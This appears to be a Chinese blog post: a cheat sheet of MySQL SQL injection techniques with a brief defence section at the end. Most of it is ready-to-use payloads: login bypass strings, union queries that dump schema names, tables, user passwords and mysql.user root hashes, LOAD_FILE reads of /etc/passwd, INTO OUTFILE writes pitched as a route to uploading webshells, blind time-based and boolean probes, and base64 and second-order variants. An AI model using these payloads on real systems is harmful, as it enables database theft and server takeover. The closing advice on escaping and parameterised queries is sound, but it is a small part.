mysql注入大全及防御
0.明白存在的位置:get型 post型 cookie型 http头注入
1.先测试注入点,注册框、搜索框、地址栏啥的,判断是字符型,搜索型还是数字型
字符型 1' and '1'='1 成功, 1' and '1'='2 报错 1成功,1'报错 注意闭合
万能密码:1' or ’1‘=’1 #
数字型去掉'同理
搜索型 select password from users where user like '% admin %' 注意通配符闭合
SELECT * FROM `users` WHERE user_id ='1 'or 1=1 # ' 可以爆出所有数据,除非limit 1,原理和万能密码一样,后接了or 此where功能失效,相当于SELECT * FROM `users`
2.猜字段,判断select返回的有多少字段(多少列)
1’ order by 1 #
1’ order by 2 #. //原理是2是按照select后返回的第二列排序显示。如果没有这一列,报错
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
and 1=2 代表业务内的查询一定不会成功,不显示,让它显示union之后的语句,看看报错或者显示到几,就知道业务查询了几个字段(列)
union查询前后的列数必须相等, 1,2,3,4,5是为了凑字段(例),凑够才能正常执行,同时还能判断网站显示位,
有关limit:前面是admin' and 1=2 union select....limit 1 //不显示原有查询,只从自己构造的查询里取前一条
admin' and 1=2 union select....limit 2 //不显示原有查询,只从自己构造的查询里取前两条
admin' and 1=2 union select....limit 0,1 //不显示原有查询,只从自己构造的查询里从第1条位置开始,取1个数据
admin' and 1=2 union select....limit 2,4 //不显示原有查询,只从自己构造的查询里从第3条位置开始,取4个数据
3.查询数据库名,
union select database(),2 # //后面如果是字符型接#注释掉后面的,database(),2按照要求要返回同原始查询相同数目的字段数,也可以接 database(),database(),凑够原始查询字段数就可以
version(), database(),user()这几个相当于全局变量 , 在数据库中直接select version()就会返回对应的数据库版本信息;
跨库旁注:
一。查看所有数据库名
1'union select 1,schema_name from schemata #
4.查询表名
有了数据库下一步就是确定其中有哪些数据表,我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表
其中有tables数据库,用来存放数据表的信息。插入以下的payload
1’ union select table_name,1 from information_schema.tables where table_schema=’上面查询出来的数据库名’ # 前面依然保持字段数
不出意外,下面除了第一行正常数据,下面的都是所在业务数据库表名,自行通过limit限制查询指定表
像一些access需要猜表名,select1,2,3,4,5,...from admin//如果有admin,返回正常,没有就报错
information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
Table_schema:数据库名
Table_name:表名
5.了解列名
我们还不知道这个数据表里有哪些字段(列),这就要用到mysql里 information_schema其中columns这个数据表了。插入如下的payload
1’ union select column_name,2 from information_schema.columns where table_name=’上面的其中一个表名’ and table_schema=’业务所在的数据库名’
假如出来了user 和password字段
information_schema.columns:
information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
Column_name:列名
6.啥都知道了,直接查
1' union select user,password from users
以下为转载防备忘
//这个可以判断数据库的版本是否为数字5开头
select * from db where 1 = 1 and mid(version(),1,1)=5
//通过union查询可以获取数据库的版本信息, 当然了, union查询要求字段一定匹配;
select * from orders union select 1,version() from orders
//确定查询的字段数,如果返回成功, 那么union会成功;
select * from orders union select 1,1 from orders
//通过在where后面添加and ord(mid(version(),1,1))<50 判断数据库的版本号
select * from db where 1 = 1 and ord(mid(version(),1,1))<50
//这个可以查询到当前的用户信息(比如root)
select * from orders union select database(),user() from orders
//返回用户数
select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user
//获取用户名为root的密码;
select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'
//根据当前字段数获取information_schema中保存所有数据库信息
select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA
//information_schema.TABLES这个字段保存的是mysql的表信息
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100
//获取world这个数据库的表结构, 当然, 你首先爆数据库名;
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100
//获取字段, 要知道数据库和表的名字,就可以获取字段的名字了
select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci //尼玛啊, 哟了root这个是直接爆密码的节奏啊;
select * from orders where 1=1 and 1=2 union select User,Password from mysql.use
//如果略显无聊, 我们可以利用;insert into orders(name) values('hehe');增加自己想要的字段;
select * from orders where 1=1 ;insert into orders(name) values('hehe');
//我们可以把查询出来的数据保存,当然了,你要知道保存的目录.... 就是传jsp, asp, php小马, 小马传大马, 大马传木马, 然后就呵呵了( ̄▽ ̄)"
select user from mysql.user where 1=1 into outfile 'e:/sql.txt';
//o(^▽^)o,下面是转载的,防忘记,
暴字段长度
order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
database() user()
version():数据库版本
@@version_compile_os:操作系统
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1 //限制仅显示一条信息,避免页面出错
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
|
load_file()常用的敏感信息见我另外一篇博客,暴路径写马拿shell的一些姿势
replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码.
9.盲注
基于时间的盲注:
sleep()函数可以延时是使数据库执行,同时也可以判断当前语句是否能正确执行,正确执行会延时
例如:union select 1,2,sleep(5) from....
if(条件,true参数,false参数),如果条件成立,返回true参数,否则返回false参数
0.明白 ’ and if(length(database())=6,sleep(5),sleep(0)) --+ 管用,这里页面正不正常无所谓,重要的是看执行时间
1.定字段数
union select 1,2,sleep(2) //order by失效时判断是不是3个字段(结果集的列、显示位),是则延迟两秒显示结果
2.定数据库
union select1,2,sleep( if(length(database())=5,5,0) ) from....//判断数据库名长度是不是5位,是的话网页延迟5秒执行,否则立即执行,也可以用>5、<5来判断
简单的:.php?id=1 and sleep( if(length(database())=5,5,0) ) 也可以行的通,因为这里sleep一定会执行。
union select1,2,sleep( if(mid(database(),1,1)='s',5,0) ) from...//判断数据库名第一位是不是s,此法可逐位猜解数据库名
http://127.0.0.1/index.php?user=admin' and sleep(if(mid(database(),2,1)='v',5,0)) -- # //判断数据库名字第二位是不是v
3.定表名
admin' and 1=2 union select sleep(if(mid(table_name,1,1)='u',5,0)),1 ,2 from information_schema.tables where table_schema='dvwa' limit 1,1 #
//dvwa数据库第二个表位置,取一个数量的表,判断它表名第一位是不是u,是的话延时5秒显示结果
select * from users union select sleep(if(user='admin',5,3)),2,3,4,5,6,7,8 from users limit 0,1 ; //判断表内有没有admin,有就延迟5秒显示,否则三秒,从第一条位置开始取一条结果,且只让sleep执行一次,否则延迟元组数*5秒
4.定列名
也是以下思路,先用length判断长度再用if猜解,其中ORD()返回字符串第一位的ASCII值,但是在access中,这个函数是asc()
基于布尔型的盲注:
旁注原理很简单,跨库注入,不说了。
10.加密注入、base64注入
http://127.0.0.1/sqlin/base64/index.php?id=MSBhbmQgMT0x
id=后面是base64加密的1 and 1=1,有些工具、sqlmap不加temper 跑不出来,
流程:业务层base64加密生成,显示在url上面,然后传入后台时base64解密,与MD5大写或者小写(不超过F)一种加数字,位数固定相比,base64位数不固定26种字母加大小写混编,后面常常以等于号结束。
渗透思路,渗透的sql语句先用工具base64加密,再拼接在注入点后面
11.二次注入
很智慧,在能输入的地方,比如留言板之类写入sql语句。然后这些语句提交后被当作评论或正常内容送入数据库存储。
数据存进去了,查看的时候好戏来了,自己发的内容被展示时,查询语句和自己提交的sql语句拼接,达到查询敏感信息,有注入效果。
比如一张表user有ID 、password、profile。填写介绍时,在profile写 Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1
而碰巧业务查询语句是select id,password,profile from user where id=' $id '或者select * from user where id=' $id ',正好就拼接成了
select * from user where id='Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 '。在织梦CMs里以前经常出这些问题。
而显示如果是类似$while(isset($result)){ echo $id $password $profile}这样的语句。返回的是自己注入的信息。
12.伪静态注入:
http://127.0.0.1/index/id/1.html
可以经过中转为.php?id=1注入,也可以进行手动测试
http://127.0.0.1/index/id/1/**/and/**/1=1.html,注释只能用/**/不能用#
还有的后面是用base64加密的伪静态
跑sqlmap时:sqlmap -u http://127.0.0.1/index/id/1*.html
注意一下就可以了,原理思路还是和普通注入一样。
13防御加固:
过滤函数:
1.addslashes() $id=addslashes($_GET['x']) mysql_real_escape_string,mysql_escape_string
2.魔术引号(‘ " null \)。magic_quotes_gpc所有被返回的数据都会被\转义。php4.3.4是一个分界点
3.自定义的过滤函数、正则表达等
4.参数化sql、存储过程
php.ini合理配置,dispaly_error关掉。不显示报错路径
最新文章
- HTML+CSS中的一些小知识
- 运用webkit绘制渲染页面原理解决iscroll4闪动的问题
- ST第三次作业Junit安装
- Jsonp类
- textarea{resize:none}
- 在不知道json格式的情况下如何使用cjson进行解析
- 【树莓派】树莓派网络配置:静态IP、无线网络、服务等
- Poj-1157-LITTLE SHOP OF FLOWERS
- css 层叠样式表
- 【JQGRID DOCUMENTATION】.学习笔记.3.Pager
- 我的window平台下的软件
- 多线程和并发管理 .NET多线程服务
- 跳舞链 Dancing Links
- Cisco VPN Client Error 56解决
- datagrid-detailview.js easyui表格嵌套
- Hadoop hdfs上传文件 权限问题
- 使用 TUN 设备实现一个简单的 UDP 代理隧道
- [LeetCode] My Calendar II 我的日历之二
- 剑指offer面试题4 替换空格(c)
- CentOS7上Docker简单安装及nginx部署
热门文章
- spring整合之后运行报什么只读错误。Write operations are not allowed in read-only mode (FlushMode.MANUAL): Turn your Session into FlushMode.COMMIT/AUTO or remove &#39;readOnly&#39; marker from transaction definition.
- Docker入门-数据挂载
- Apache配置转发
- 机器学习模型解释工具-Lime
- 定时刷新指定div层
- [NLP] 语义网络与知识图谱入门(二)
- [doker]ubuntu18安装doker
- Ubuntu13.04编译安装cmake2.8.12.2
- MySQL orzdba、dodba、top、iostat、vmstat、perf等
- 关于JS的prototype详解